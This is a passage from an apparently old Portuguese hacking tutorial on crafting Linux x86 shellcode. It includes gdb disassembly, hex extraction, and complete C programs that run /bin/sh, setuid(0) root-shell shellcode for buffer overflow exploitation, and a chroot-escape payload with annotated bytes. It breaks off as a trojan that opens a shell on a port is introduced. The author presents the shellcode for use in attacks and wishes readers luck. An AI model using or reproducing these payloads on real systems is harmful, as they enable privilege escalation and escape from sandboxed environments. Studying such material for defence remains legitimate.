Compilamos entao usando a seguinte sintaxe:
[localhost:/]$gcc -ggdb -static -o shellnova1 shellnova1.c

Em seguida usamos o debugador p/ novamente pegarmos o codigo em hexa:
[localhost:/]$gdb shellnova1
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are welcome to change it and/or distribute copies of it under certain
conditions.Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for
details.This GDB was configured as "i686-pc-linux-gnulibc1"...
(gdb)disassemble main
Dump of assembler code for function main:
0x8048150 :       push   %ebp
0x8048151 :     mov    %esp,%ebp
0x8048153 :     jmp    0x8048174
0x8048155 :     pop    %esi
0x8048156 :     mov    %esi,0x8(%esi)
0x8048159 :     xor    %eax,%eax
0x804815b :    mov    %al,0x7(%esi)
0x804815e :    mov    %eax,0xc(%esi)
0x8048161 :    mov    $0xb,%al
0x8048163 :    mov    %esi,%ebx
0x8048165 :    lea    0x8(%esi),%ecx
0x8048168 :    lea    0xc(%esi),%edx
0x804816b :    int    $0x80
0x804816d :    xor    %ebx,%ebx
0x804816f :    mov    %ebx,%eax
0x8048171 :    inc    %eax
0x8048172 :    int    $0x80
0x8048174 :    call   0x8048155
0x8048179 :    das
0x804817a :    bound  %ebp,0x6e(%ecx)
0x804817d :    das
0x804817e :    jae    0x80481e8 <__new_exitfn+52>
0x8048180 :    add    %cl,0x90c35dec(%ecx)
End of assembler dump.
(gdb) x/xb main+3
0x8048153 :     0xeb
(gdb) x/xb main+4
0x8048154 :     0x1f
(gdb) x/xb main+5
0x8048155 :     0x5e
(gdb) x/xb main+6
0x8048156 :     0x89
(gdb) x/xb main+7
0x8048157 :     0x76
(gdb) x/xb main+8
0x8048158 :     0x08
(gdb) x/xb main+9
0x8048159 :     0x31
.
.
.
0x8048178 :    0xff

Podemos  perfeitamente  parar por  aqui  e no  nosso  shellcode no  codigo-fonte
acrescentarmos a string /bin/sh que se refere ao que queremos executar.  Fazendo
isso teriamos o seguinte shellcode:

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

Mas  se nos  quisermos substituir  a string  /bin/sh por  seu correspondente  em
hexadecimal,  nos devemos  continuar pegando  os respectivos  codigos hexa  pelo
debugador,  ateh encontrarmos  uma intrucao  nop que  corresponderah ao  fim da
funcao main().Vejamos:

Haviamos para em
Continuando:

(gdb) x/xb main+41
0x8048179 :    0x2f
(gdb) x/xb main+42
0x804817a :    0x62
(gdb) x/xb main+43
0x804817b :    0x69
(gdb) x/xb main+44
0x804817c :    0x6e
(gdb) x/xb main+45
0x804817d :    0x2f
.
.
.
0x8048183 :    0x5d
(gdb) x/xb main+52
0x8048184 :    0xc3
(gdb) x/xb main+53
0x8048185 :    0x90
(gdb) x/xb main+54
0x8048186 :    0x90

Como podemos ver chegamos ateh  a instrucao NOP(0x90), logo nao  incluiremos ela
em  nosso shellcode,  devemos entao  acrescentar ateh  , fazendo  entao
nosso shellcode ficar assim:

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec"
  "\x5d\xc3";

Feito isso tudo iremos agora inserir nosso exemplo de shellcode
dentro de um codigo-fonte C.

/* Simples Exemplo de Shellcode com string /bin/sh em hexa
   Compile com: $gcc -o shellnova2 shellnova2.c */

#include

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec"
  "\x5d\xc3";

void main(){
int *retorno;
retorno = (int *)&retorno + 2;
(*retorno) = (int)shellcode;
}

O esquema na linha de comando seria:
[localhost:/]$ gcc -o shellnova2 shellnova2.c
[localhost:/]$ ./shellnova2
bash$ exit
exit

Como podemos ver  perfeitamente, ele funciona  bem como queriamos.  Voce que vai
usa-lo em buffer overflows,boa sorte!!Lembrando que alguns shellcodes devem  ser
usados p/ determinada situacao e outros p/ outras situacoes.Use seus  neuronios,
pense nas formas de ataque, e  da necessidade de cada shellcode, vai  fundo, nao
deixe de estudar,pesquise,descubra!!

Como prometido, disponibilizarei  agora alguns esquemas  que podemos fazer  para
executar alguns codigos maliciosos em cima deste exemplo descrito acima.Para  os
codigos  que se  seguem,tudo que  devemos fazer  eh substituir  simplesmente, o
comando "/bin/sh" que queremos executar, no final de nosso shellcode, por outro,
de tamanho igual. Vejamos nosso shellcode como estah:

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

Eh essa string acima "/bin/sh", que estou me referindo, voce pode testar  outros
comandos inserindo-os no  lugar dela,sendo que  de tamanho igual,  como /bin/ls,
/bin/su, /bin/ed e por aih vai. Vejamos alguns exemplos bem praticos:

+ Simples shellcode para executar um ls;

/* Shellcode que executa um ls */
#include

/* Apenas trocamos /bin/sh por /bin/ls no final do shellcode */

char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/ls";

void main() {
   int *retorno;

   retorno = (int *)&retorno + 2;
   (*retorno) = (int)shellcode;

}

Compilamos e executamos:

[localhost:/]$ gcc -o shels shels.c
[localhost:/]$ ./shels
exe1.c                 heap3                  shellcode2
exe2                   heap3.c                shellcode2.c
exe2.c                 mall                   shellcode2.s
exploit.txt            mall.c                 shellcodeasm
exploit1               mall1                  shellcodeasm.c
exploit1.c             my                     shels
exploit2               nistir4909             shels.c
exploit2.c             out.c                  shelsc
exploit3               perlsec.txt            shelsc.c
exploit3.c             review.txt             sp
exploit4               robust.txt             sp.c
exploit4.c             seculinuxprog          sta
fake                   secure_prog_checklist  sta.c
fake_exp               security-holes.txt     suid
fake_exp.c             setuid.7.txt           suid.c
find                   sh1                    taxonomy.ps
full-cve.txt           sh1.c                  testsc
fuzz-revisited.ps.Z    shel1.c                testsc.c
heap1                  shell1.c               vulnerable
heap1.c                shellcode              vulnerable.c

Podemos ver que ele funfa(funciona) perfeitamente!!:)

Mas voce nao  iria estudar e  pesquisar muito somente  para executar um  comando
desse  tipo..Nao  sei  mano,vai  ver  ele  pode  ser  util  para  alguma   coisa
remotamente, talvez envolvendo  sockets, mas coloquei  ele aih para  ilustrar de
forma clara e simples a alteracao basica de um shellcode.Olhando para o  exemplo
acima voce pode tirar algumas  conclusoes apressadas, como trocar o  /bin/sh por
/bin/zsh, ou mesmo por  /bin/tcsh, ou qualquer outra  shell, mas na verdade  nao
funciona deste modo,  teremos sim que  ralar para fazermos  shellcodes para cada
uma  delas,  o  exemplo  citada   nos  da  permissao  para  executarmos   alguns
comandos(somente  alguns)  de tamanho  igual  shell "/bin/sh"  ou  da que  estah
linkada para ela, como  em muitos sistemas encontramos  /bin/bash, que eh o  meu
caso.Veremos como fazer alguns outros tipos de shell mais abaixo. Para ilutrar e
voce poder entender melhor o que  estou dizendo, veja o mesmo exemplo  acima mas
com mais caracteres apos a execucao de ls:

/* Exemplo de shellcode, para mostrar que nao faz efeito
   colocarmos mais caracteres do que o suportado pelo
   nosso exemplo inicial */

#include
#include

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/lsissoquetahentrandoaquiehparailustrar";

void main() {
   int *retorno;

   retorno = (int *)&retorno + 2;
   (*retorno) = (int)shellcode;

}

Compilamos normalmente o exemplo acima, e em seguida executamos:

[localhost:/]$ gcc -o ls2.c ls2.c
[localhost:/]$ ./ls2
avancadas     popshbug.c    shell3.c      shellt.c      teso1sh.s
bossh1.c      scsh          shellba       shelltc       teso2sh.c
bossh1.s      scsh.c        shellba.c     shelltc.c     teso2sh.s
difshe        shec          shellc        shelltc.s     teso3sh.c
difshe.c      shechroot.c   shelln.c      shelltcasm    teso3sh.s
difshe.s      shechroot1    shellpron1    shelltcasm.c  testshtc
ls2           shell         shellpron1.c  shelltcasm.s  testshtc.c
ls2.c         shell.c       shellpron2    shelltcsh     trojans
passshe.c     shell2        shellpron2.c  shelt
passwd        shell2.c      shellsetu     tcsh.sh
popshbug      shell3        shellsetu.c   teso1sh.c

Como podemos ver,  nao adiantou nada  metermos um monte  de caracteres no  nosso
shellcode, pois ele soh  procurou executar somente o  tamanho de bytes que  fora
permitido.Se voce tah querendo saber como solucionar isto, leia a parte 7.4. :)

7.2 SHELLCODE P/ SETUID(0)
----------------------------------------------------

Esse exemplo vai para o pessoal que meche com buffer overflows, vamos inserir  o
codido do programa abaixo em nosso shellcode inicial, o do /bin/sh;

/* Codigo de setuid() */

#include

main()
{
        setuid(0);
}

Compilamos e em seguida executamos gdb;

[localhost:/]$ gcc -o setui setui.c -static -ggdb
[localhost:/]$ gdb setui
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are welcome to change it and/or distribute copies of it under certain
conditions.Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for
details.This GDB was configured as "i686-pc-linux-gnulibc1"...
(gdb)

Como vamos inserir o codigo, nao precisamos disassemblar main, basta
setuid.

(gdb) disassemble setuid
Dump of assembler code for function setuid:
0x80483e4 :     push   %ebp
0x80483e5 :   mov    %esp,%ebp
0x80483e7 :   push   %ebx
0x80483e8 :   mov    $0x17,%eax
0x80483ed :   mov    0x8(%ebp),%ebx
0x80483f0 :  int    $0x80
0x80483f2 :  mov    %eax,%edx
0x80483f4 :  test   %edx,%edx
0x80483f6 :  jge    0x8048408
0x80483f8 :  neg    %edx
0x80483fa :  push   %edx
0x80483fb :  call   0x8050b0c <__normal_errno_location>
0x8048400 :  pop    %edx
0x8048401 :  mov    %edx,(%eax)
0x8048403 :  mov    $0xffffffff,%eax
0x8048408 :  pop    %ebx
0x8048409 :  mov    %ebp,%esp
0x804840b :  pop    %ebp
0x804840c :  ret
0x804840d :  nop
0x804840e :  nop
0x804840f :  nop
End of assembler dump.
(gdb)

O codigo eh enorme, mas voce jah sabe, somente as primeiras 6 linhas
nos interessam...abaixo estao elas:

0x80483e4 :     push   %ebp
0x80483e5 :   mov    %esp,%ebp
0x80483e7 :   push   %ebx
0x80483e8 :   mov    $0x17,%eax
0x80483ed :   mov    0x8(%ebp),%ebx
0x80483f0 :  int    $0x80

Lembrando que queremos somente ateh a instrucao int $0x80, que faz com
que nosso programa entre no modo kernel.

Traduzindo o que essas 6 linhas representam:

0x80483e4 :     push   %ebp
0x80483e5 :   mov    %esp,%ebp
0x80483e7 :   push   %ebx

Procedimento Preludio, ou inicial.Velho esquema, nao iremos inserir
essas 3 linhas no nosso codigo por razoes obvias, jah temos um
procedimento inicial(preludio) no nosso shellcode.

0x80483e8 :   mov    $0x17,%eax
0x80483ed :   mov    0x8(%ebp),%ebx
0x80483f0 :  int    $0x80

Essas sim nos interessam, pois sao as responsaveis pela execucao
do codigo que nos interessa, neste caso setuid(0).Para nao termos
bytes nulos(null bytes), alteramos essas linhas da seguinte forma:

Pegamos:					Substituimos por:
----------------------			---------------------------
mov    $0x17,%eax		               xorl %eax,%eax
mov    0x8(%ebp),%ebx			       xorl %ebx,%ebx
					       mov  $0x17,%al
-------------------------------------------------------------------

Deixamos esta como esta:

int    $0x80

Depois juntado tudo teremos o shellcode para setuid(0), assim:

xorl %eax,%eax
xorl %ebx,%ebx
movb $0x17,%al
int $0x80

Acrescentando ele ao inicio de nosso shellcode /bin/sh inicial,
teremos:

#include
main(){
__asm__("
xorl %eax,%eax
xorl %ebx,%ebx
movb $0x17,%al
int $0x80
jmp 0x1f
popl %esi
movl %esi,0x8(%esi)
xorl %eax,%eax
movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
movb $0xb,%al
movl %esi,%ebx
leal 0x8(%esi),%ecx
leal 0xc(%esi),%edx
int $0x80
xorl %ebx,%ebx
movl %ebx,%eax
inc %eax
int $0x80
call -0x24
.string \"/bin/sh\"
");
}

Depois disso compilamos e executamos o gdb.Lembrando, compile com -static
e -ggdb, para nao dar erros.

(gdb) disassemble main
Dump of assembler code for function main:
0x8048150 :       push   %ebp
0x8048151 :     mov    %esp,%ebp
0x8048153 :     xor    %eax,%eax
0x8048155 :     xor    %ebx,%ebx
0x8048157 :     mov    $0x17,%al
0x8048159 :     int    $0x80
0x804815b :    jmp    0x804817c
0x804815d :    pop    %esi
0x804815e :    mov    %esi,0x8(%esi)
0x8048161 :    xor    %eax,%eax
0x8048163 :    mov    %al,0x7(%esi)
0x8048166 :    mov    %eax,0xc(%esi)
0x8048169 :    mov    $0xb,%al
0x804816b :    mov    %esi,%ebx
0x804816d :    lea    0x8(%esi),%ecx
0x8048170 :    lea    0xc(%esi),%edx
0x8048173 :    int    $0x80
0x8048175 :    xor    %ebx,%ebx
0x8048177 :    mov    %ebx,%eax
0x8048179 :    inc    %eax
0x804817a :    int    $0x80
0x804817c :    call   0x804815d
0x8048181 :    das
0x8048182 :    bound  %ebp,0x6e(%ecx)
0x8048185 :    das
0x8048186 :    jae    0x80481f0 <__new_exitfn+52>
0x8048188 :    add    %cl,0x90c35dec(%ecx)
End of assembler dump.

Depois vamos na marra pegar a representacao em hexa de todo nosso
shellcode.

(gdb) x/xb main+3
0x8048153 :     0x31
(gdb) x/xb main+4
0x8048154 :     0xc0
(gdb) x/xb main+5
0x8048155 :     0x31
(gdb) x/xb main+6
0x8048156 :     0xdb
(gdb) x/xb main+7
0x8048157 :     0xb0
(gdb)
.
.
.
(gdb) x/xb main+56
0x8048188 :    0x00
(gdb) x/xb main+57
0x8048189 :    0x89
(gdb) x/xb main+58
0x804818a :    0xec
(gdb) x/xb main+59
0x804818b :    0x5d
(gdb) x/xb main+60
0x804818c :    0xc3
(gdb) x/xb main+61
0x804818d :    0x90

Chegamos no tal NOP, aqui paramos.
Veremos agora como ele fica inserido no codigo C.

/* shellcode setuid(0) em /bin/sh */
#include
#include

char shellcode[] =
  "\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec"
  "\x5d\xc3";

main(){
int *retorno;
retorno = (int *)&retorno +2;
(*retorno) = (int)shellcode;
}

Compile  normalmente  "gcc -o  shellsetuid  shellsetuid.c".Depois execute,  voce
verah  que  ele funcione  perfeitamente.Eu  coloquei a  linha  correspondente ao
codigo que  acrescentamos na  primeira linha,  para voce  visualizar melhor.Voce
pode perceber  que as  instrucoes e  seus referentes  codigos em  hexa depois de
"\xcd\x80" (int  $0x80) na  primeira linha  ateh o  fim sao  identicas ao  nosso
shellcode inicial.Isso mesmo amigo, voce  pode sim somente trabalhar em  cima do
codigo  que  quer  acrescentar,  sem  a  necessidade  de  ficar  perdendo tempo,
principalmente quando quer passar para a representacao dele em hexa, coloquei  o
esquema acima para que voce vah logo se acostumando, e tambem para que nao  haja
duvida quanto as instrucoes em representacao hexadecimal.Esse shellcode pode ser
usado em programas vulneraveis a buffer overflows, mas que quando exploitados  o
fazem cair  na sua  propria shell,  colocando setuid(0),  voce cairah  numa root
shell.

7.4 - QUEBRANDO CHROOT()
-------------------------

Bem,  para quem  nao sabe  o que  eh chroot(),  aqui vai  uma breve  explicacao.
chroot() eh uma funcao usada comumente para nao permitir acesso de um usuario  a
outros  diretorios, chroot()  seta um  diretorio para  ser o  diretorio raiz  do
usuario, nao permitindo que ele tenha acesso a outros diretorios "antes" daquele
setado.Um exemplo  pratico disso,  nos vemos  quase sempre  quando entramos  num
servidor  de  ftp  como  usuario  anonymous,  nos  caimos  geralmente  dentro do
diretorio raiz  "/", mas  na verdade  devemos estar  no diretorio "/home/ftp" do
servidor em questao.Entao  amigos, o que  foi feito foi  ter setado o  diretorio
"/home/ftp", atraves da funcao chroot() para fazer com que este diretorio seja o
diretorio raiz  "/" para  um determinado  usuario, no  nosso caso, anonymous.Mas
isso  eh bastante  comun, vemos  isso em  servidores de  home pages  gratuitas,
servidore de ftp com acesso via conta, enfim, diversos sao os casos.Soh que mais
uma vez, o pessoal agiu, descobriram que atraves de um buffer overflow, ou mesmo
pela execucao  de um  shellcode como  root(atravez de  um programa suid),que era
possivel  inserir  codigo malioso  que  quebrasse essa  protecao.Isso  vem sendo
durante  muito  tempo  usado, principalmente  em  "remote  buffer overflows"  em
servidores de ftp.  O que vai  ser explicado aqui  nao eh como  se faz overflows
para se quebrar  isso, mas sim,  uma forma de  executar um codigo  como root que
"quebre" esta defesa.

Veremos um esquema para se "quebrar"  isso, mas eu conheco outro esquema  ainda,
veja depois o item 7.4.

/* Primeiro tipo de shellcode para quebrar chroot() */

#include
#include

main()
{
        mkdir("sh",0755);
        chroot("sh");

        /* Colocamos muitos  "../", voce pode ver a funcionalidade
	   deles executando em sua shell, verah que cairah no
           diretorio raiz, lembrando: "Tem muito servidor de http
           por aih que permitem atraves disso  que se leia um
           arquivo do sistema! */

        chroot("../../../../../../../../../../../../../../../../");
}

Compilamos com as opcoes para gerar codigo estatico, em seguida
carregamos o programa no debugador gdb.

[localhost:/]$ gcc -o shechroot1 shechroot1.c -static -ggdb
[localhost:/]$ gdb shechroot1
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you
are welcome to change it and/or distribute copies of it under certain
conditions.Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for
details.This GDB was configured as "i686-pc-linux-gnulibc1"...
(gdb)

Se voce digitar "disassemble main" verah a chamada para as 3 funcoes
ou system calls responsaveis pela quebra, nao colocarei aqui, mas
de uma olhada para que nao haja duvidas.

Seguimos abaixo desassemblando o codigo de mkdir.

(gdb) disassemble mkdir
Dump of assembler code for function mkdir:
0x8048404 :      push   %ebp
0x8048405 :    mov    %esp,%ebp
0x8048407 :    push   %ebx
0x8048408 :    mov    $0x27,%eax
0x804840d :    mov    0x8(%ebp),%ebx
0x8048410 :   mov    0xc(%ebp),%ecx
0x8048413 :   int    $0x80
0x8048415 :   mov    %eax,%edx
0x8048417 :   test   %edx,%edx
0x8048419 :   jge    0x804842b
0x804841b :   neg    %edx
0x804841d :   push   %edx
0x804841e :   call   0x8050b58 <__normal_errno_location>
0x8048423 :   pop    %edx
0x8048424 :   mov    %edx,(%eax)
0x8048426 :   mov    $0xffffffff,%eax
0x804842b :   pop    %ebx
0x804842c :   mov    %ebp,%esp
0x804842e :   pop    %ebp
0x804842f :   ret
End of assembler dump.
(gdb)

Para mkdir, tudo que nos importa sao as primeiras 7 linhas.Dessas 7
linhas, como as 3 primeiras correspondem ao procedimento inicial ou
preludio, somente as 4 restantes de fato irao nos interessar, eis
elas aih embaixo:

0x8048408 :    mov    $0x27,%eax
0x804840d :    mov    0x8(%ebp),%ebx
0x8048410 :   mov    0xc(%ebp),%ecx
0x8048413 :   int    $0x80

O codigo acima faz o seguinte:
mov $0x27,%eax

Coloca o numero correspondente a mkdir na tabela system call(39) em %eax.

mov    0x8(%ebp),%ebx

Coloca o endereco da string "sh" em %ebx.

mov    0xc(%ebp),%ecx

Coloca o endereco a string "0755" em %ecx.

Para o codigo acima, retiramos os null bytes e teremos:

xorl %eax,%eax
xorl %ecx,%ecx
movb $0x27,%al
leal 0x5(%esi),%ebx

Essa instrucao lea aih estah para executar o seguinte:
"%esi" possui referencia a "/bin/sh"  antes de usar esta intrucao, no
caso, esse /bin/sh, eh aquele no nosso primeiro shellcode inicial, onde
esse codigo para quebrar chroot() vai ser inserido.Esta instrucao(leal)
carrega o endereco de "sh", nao de "/bin/sh", e armazena em %ebx.

incb %ch
movb $0xed,%cl
int $0x80

Em cima aih, complica um pouco.O que estah acontecendo eh o seguinte,
lembrando que CH  eh o registrador counter high, contador de memoria
alta.CX, eh CH + CL, (HIGH e LOW), respectivamente.Inicialmente temos:

CX = 0000 0001 0000 0000

Incrementando %ch (incb %ch), mudaremos todo %cx, como explicado no
capitulo sobre registradores. Entao, agora teremos:

CX = 0000 0001 1110 1101

Pegando soh uma parte dele e movendo sobre cl (Contador Baixo), teremos:

CX = 000 111 101 101

Preste bem atencao, olhe para o CX acima que foi incrementado, veja que
nos pegamos as tres ultimas partes(0001 1110 1101) e dividimos em quatro
partes de 3(000 111 101 101), foi por isso que fiz questao de ensinar
a conversao usando notacoes,amigo. Se voce prestar atencao, pegarah os
respectivos numeros decimais de cada numero binario aih soh olhando:

		000 111 101 101
		 0   7   5   5

Que eh exatamente nosso codigo referido a permissao do diretorio "sh"
que estarah sendo criado.Nao se assuste com tudo isso, amigo, foi soh
para ilustrar, para nossos intuitos, o codigo em C faz quase todo o
trabalho.

Vejamos entao como ficarah o codigo para mkdir():

xorl %eax,%eax
xorl %ecx,%ecx
movb $0x27,%al
leal 0x5(%esi),%ebx
incb %ch
movb $0xed,%cl
int $0x80

Eis aih nosso codigo.mkdir() estah exterminado, agora vejamos para
chroot().Voltemos novamente ao gdb.

(gdb) disassemble chroot
Dump of assembler code for function chroot:
0x8048430 :     push   %ebp
0x8048431 :   mov    %esp,%ebp
0x8048433 :   push   %ebx
0x8048434 :   mov    $0x3d,%eax
0x8048439 :   mov    0x8(%ebp),%ebx
0x804843c :  int    $0x80
0x804843e :  mov    %eax,%edx
0x8048440 :  test   %edx,%edx
0x8048442 :  jge    0x8048454
0x8048444 :  neg    %edx
0x8048446 :  push   %edx
0x8048447 :  call   0x8050b58 <__normal_errno_location>
0x804844c :  pop    %edx
0x804844d :  mov    %edx,(%eax)
0x804844f :  mov    $0xffffffff,%eax
0x8048454 :  pop    %ebx
0x8048455 :  mov    %ebp,%esp
0x8048457 :  pop    %ebp
0x8048458 :  ret
0x8048459 :  nop
0x804845a :  nop
0x804845b :  nop
End of assembler dump.

De todo este codigo aih, voce jah deve ter percebido, o que vai nos
interessar eh somente as linhas:

0x8048434 :   mov    $0x3d,%eax
0x8048439 :   mov    0x8(%ebp),%ebx
0x804843c :  int    $0x80

Vejamos em detalhes:

mov    $0x3d,%eax

Coloca o numero correspondente ao system call chroot(61) em %eax.

mov    0x8(%ebp),%ebx

Coloca o endereco de "sh" em %ebx.

int    $0x80

Sai para o modo kernel.

Retirando os byte nulos, teremos:

xorl %eax,%eax
leal 0x5(%esi),%ebx
movb $0x3d,%al
int $0x80

Para esse  codigo nao  tem muito  segredo, mas  agora entrarah  um pouquinho  da
necessidade de  se saber  trabalhar e  escrever em  assembly.O chroot() em nosso
exemplo, possui duas chamadas, podemos ver isso desassemblando main, a  primeira
chamada se refere ao que descrevemos acima, chroot("sh"), a segunda eh a que vou
tentar explicar abaixo:

chroot("../../../../../../../../../../../../../../../../");

O codigo para isto, segue abaixo:

movl $0xffd0d1d2,%ebx
negl %ebx
xorl %ecx,%ecx
movb $0x10,%cl
pushl %esi
addl %ecx,%esi
movl %ebx,(%esi)
addl $0x3,%esi
loopne -0x7
popl %esi
movb $0x3d,%al
leal 0x10(%esi),%ebx
int $0x80

Vamos com bastante calma, vou explicar o que significa isso aih:

movl $0xffd0d1d2,%ebx

Pega o endereco de "../" e guarda em %ebx.

negl %ebx

Eh uma instrucao logica, indicando que %ebx nao eh maior ou igual a
string armazenada(aquele monte de ../).

xorl %ecx,%ecx
movb $0x10,%cl

Um contador nao nulo, preparado p/ contar ateh 16(16 vezes ../).

pushl %esi
addl %ecx,%esi
movl %ebx,(%esi)
addl $0x3,%esi

Nada demais aih em cima, onde tah sendo adicionado ao source index os
16 ../ .

loopne -0x7
popl %esi

O loop para geracao logica. Voce tah vendo aih um numero negativo -0x7,
o loopne salta se o registrador CX, no caso %ecx for diferente de -0x7.

movb    $0x3d,%al

Coloca o numero correspondente ao system call chroot(61) em %al.

leal 0x10(%esi),%ebx

Aqui sim ocorre a "copia" 16 vezes propriamente dita de "../".

int $0x80

Volta para o modo kernel.

Como  voce  pode  ver,  nao  eh  nada  facil  fazer  shellcodes  um  pouco  mais
complexos.Isso foi soh para voce ter uma breve ideia, logico, dependendo do  seu
nivel de conhecimentos em assembly,  isso tudo pode parecer fichinha.Como  quero
descrever soh o basico, ateh mesmo  este exemplo foge ao escopo deste  tutorial,
mas foi soh para voce se empolgar mais!!

Vejamos agora como fica isso aih num programa C.

#include
#include
#include

char shellcode[]=
        "\xeb\x4f"                      /* jmp 0x4f              */
        "\x31\xc0"                      /* xorl %eax,%eax        */
        "\x31\xc9"                      /* xorl %ecx,%ecx        */
        "\x5e"                          /* popl %esi             */
        "\x88\x46\x07"                  /* movb %al,0x7(%esi)    */
        "\xb0\x27"                      /* movb $0x27,%al        */
        "\x8d\x5e\x05"                  /* leal 0x5(%esi),%ebx   */
        "\xfe\xc5"                      /* incb %ch              */
        "\xb1\xed"                      /* movb $0xed,%cl        */
        "\xcd\x80"                      /* int $0x80             */
        "\x31\xc0"                      /* xorl %eax,%eax        */
        "\x8d\x5e\x05"                  /* leal 0x5(%esi),%ebx   */
        "\xb0\x3d"                      /* movb $0x3d,%al        */
        "\xcd\x80"                      /* int $0x80             */
        "\x31\xc0"                      /* xorl %eax,%eax        */
        "\xbb\xd2\xd1\xd0\xff"          /* movl $0xffd0d1d2,%ebx */
        "\xf7\xdb"                      /* negl %ebx             */
        "\x31\xc9"                      /* xorl %ecx,%ecx        */
        "\xb1\x10"                      /* movb $0x10,%cl        */
        "\x56"                          /* pushl %esi            */
        "\x01\xce"                      /* addl %ecx,%esi        */
        "\x89\x1e"                      /* movl %ebx,(%esi)      */
        "\x83\xc6\x03"                  /* addl %0x3,%esi        */
        "\xe0\xf9"                      /* loopne -0x7           */
        "\x5e"                          /* popl %esi             */
        "\xb0\x3d"                      /* movb $0x3d,%al        */
        "\x8d\x5e\x10"                  /* leal 0x10(%esi),%ebx  */
        "\xcd\x80"                      /* int $0x80             */
        "\x31\xc0"                      /* xorl %eax,%eax        */
        "\x89\x76\x08"                  /* movl %esi,0x8(%esi)   */
        "\x89\x46\x0c"                  /* movl %eax,0xc(%esi)   */
        "\xb0\x0b"                      /* movb $0xb,%al         */
        "\x89\xf3"                      /* movl %esi,%ebx        */
        "\x8d\x4e\x08"                  /* leal 0x8(%esi),%ecx   */
        "\x8d\x56\x0c"                  /* leal 0xc(%esi),%edx   */
        "\xcd\x80"                      /* int $0x80             */
        "\xe8\xac\xff\xff\xff"          /* call -0x54            */
        "/bin/sh";                      /* .string \"/bin/sh\"   */

void main(){
int *retorno;
retorno = (int *)&retorno +2;
  (*retorno) = (int)shellcode;

}

Voce pode  testa-lo em  sua maquina,  mas ele  eh util,  mais para  o pessoa que
tentarah executar algum  comando malicioso como  root.De qualquer forma,  ele eh
bastante util para propositos educacionais!!:)

7.4 Dividas Para o Proximo Tutorial
------------------------------------

Eu vou ficar  devendo algumas coisas  que jah estao  preparadas amigo, mas  como
voce pode ver,  este assunto nunca  estah completo, tem  mais de 2000  linhas de
texto aqui, e isso eh apenas o basico, queria colocar mais coisas, mas vai ficar
para o proximo,  ou mesmo para  um mais avancado,  nao sei se  feito por mim  ou
algum outro membro do grupo, quem sabe ateh outros grupos nao se antecipam,  nao
sei, mas espere um pouco. De ante-mao, digo algumas coisas, eh possivel se fazer
muitos shellcodes, o que se faz necessario eh um maior aprendizado de  assembly,
e como  sempre, bons  algoritmos ajuda.Eu  dei algumas  dicas de  shellcodes que
podem ser feitos facilmente amigo, nao investi em truques, pode-se usar  truques
que facilitam as coisas, mas tem que saber o que se estah fazendo, como aqui  eh
voltado para NewBie, nao direi truques ainda.

Gostaria de deixar um aviso do porque  da necessidade de se conhecer ao menos  o
basico sobre isso, em essencial sobre assembly.Essas linhas eu direciono para os
kiddies,  que  pegam  todo  e  qualquer exploit  e  jah  vai  logo  compilando e
executando, em busca da  primeira rede bugada que  encontrar, gente que anda  em
canais  querendo trocar  shell, como  se o  pessoal que  manja mesmo  estivesse
interessado nisso, se liga mano, o  pessoal que manja, primeiro nao sai  por aih
dizendo que invadiu isso  ou aquilo, ou mesmo  chega ao ponto de  trocar shells,
existem  muitos  motivos  para  eles  fazerem  isso,  coisas  que  kiddies   nao
entenderiam. Mas de qualquer forma, amigo  Newbie, veja um exemplo de um  trojan
horse inserido num shellcode abaixo.

------------------------ trojanshell1.c ------------------------------
/* Exemplo de um trojan horse que abre uma porta(30464) com
   shell do usuario que o executou.
   Desenvolvido por Nash Leon com base no Shellcode
   do Taeho Oh ( ohhara@postech.edu ).
   Agradecimentos a Magic Kiss e ao Unsekurity Team.
   nashleon@yahoo.com.br
*/

#include
